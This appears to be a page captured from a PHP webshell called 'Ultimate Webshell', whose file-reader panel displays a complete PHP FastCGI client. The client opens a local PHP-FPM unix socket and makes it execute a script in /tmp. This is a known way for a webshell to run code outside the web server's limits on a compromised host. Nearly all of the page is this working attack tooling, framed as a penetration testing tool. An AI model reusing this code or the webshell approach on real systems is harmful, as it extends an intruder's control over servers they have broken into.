Ultimate Webshell

📖 File Reader

<?php
// FastCGI client for direct socket communication
$socketFile = '/tmp/php-cgi-73.sock';
$scriptFile = '/tmp/fpm_test.php';

// FastCGI protocol constants
define('FCGI_BEGIN_REQUEST', 1);
define('FCGI_ABORT_REQUEST', 2);
define('FCGI_END_REQUEST', 3);
define('FCGI_PARAMS', 4);
define('FCGI_STDIN', 5);
define('FCGI_STDOUT', 6);
define('FCGI_STDERR', 7);
define('FCGI_DATA', 8);
define('FCGI_GET_VALUES', 9);
define('FCGI_GET_VALUES_RESULT', 10);
define('FCGI_UNKNOWN_TYPE', 11);
define('FCGI_MAXTYPE', 11);

define('FCGI_RESPONDER', 1);
define('FCGI_AUTHORIZER', 2);
define('FCGI_FILTER', 3);

define('FCGI_REQUEST_COMPLETE', 0);

// Pack a FastCGI record
function fcgi_packet($type, $content, $requestId = 1) {
    $version = 1;
    $paddingLength = (8 - (strlen($content) % 8)) % 8;
    $packet = pack('CCnn', $version, $type, $requestId, strlen($content));
    $packet .= $content;
    $packet .= str_repeat("\0", $paddingLength);
    return $packet;
}

// Connect to the socket
$socket = stream_socket_client('unix://' . $socketFile, $errno, $errstr, 30);
if (!$socket) {
    die("Socket connection failed: $errstr\n");
}

$requestId = 1;

// Begin request (FCGI_BEGIN_REQUEST)
$content = pack('nC5', FCGI_RESPONDER, 0, 0, 0, 0, 0); // role, flags, reserved
fwrite($socket, fcgi_packet(FCGI_BEGIN_REQUEST, $content, $requestId));

// Send parameters (FCGI_PARAMS) – we need to pass SCRIPT_FILENAME
$params = [
    'SCRIPT_FILENAME' => $scriptFile,
    'REQUEST_METHOD'  => 'GET',
    'QUERY_STRING'    => '',
    'CONTENT_TYPE'    => '',
    'CONTENT_LENGTH'  => '0',
    'SCRIPT_NAME'     => '/fpm_test.php',
    'REQUEST_URI'     => '/fpm_test.php',
    'DOCUMENT_ROOT'   => '/',
    'SERVER_SOFTWARE' => 'PHP FastCGI Client',
    'GATEWAY_INTERFACE' => 'CGI/1.1',
];
$paramContent = '';
foreach ($params as $name => $value) {
    $nameLen = strlen($name);
    $valueLen = strlen($value);
    $paramContent .= pack('C', $nameLen) . pack('C', $valueLen) . $name . $value;
}
fwrite($socket, fcgi_packet(FCGI_PARAMS, $paramContent, $requestId));
fwrite($socket, fcgi_packet(FCGI_PARAMS, '', $requestId)); // End of params

// Send empty STDIN (no POST data)
fwrite($socket, fcgi_packet(FCGI_STDIN, '', $requestId));

// Read responses
$output = '';
while (!feof($socket)) {
    $header = fread($socket, 8);
    if (strlen($header) < 8) break;
    $data = unpack('Cversion/Ctype/nrequestId/ncontentLength/CpaddingLength/Creserved', $header);
    $content = fread($socket, $data['contentLength']);
    $padding = fread($socket, $data['paddingLength']);

    if ($data['type'] == FCGI_STDOUT) {
        $output .= $content;
    } elseif ($data['type'] == FCGI_STDERR) {
        // Optionally capture errors
        file_put_contents('php://stderr', $content);
    } elseif ($data['type'] == FCGI_END_REQUEST) {
        break;
    }
}
fclose($socket);

// Remove any FastCGI headers (PHP outputs HTTP headers as part of stdout)
// For simplicity, we just print everything after the first double newline.
if (preg_match("/\r?\n\r?\n(.*)/s", $output, $matches)) {
    $output = $matches[1];
}
echo $output;
?>
🔓 Ultimate Webshell - Penetration Testing Tool

📖 File Reader
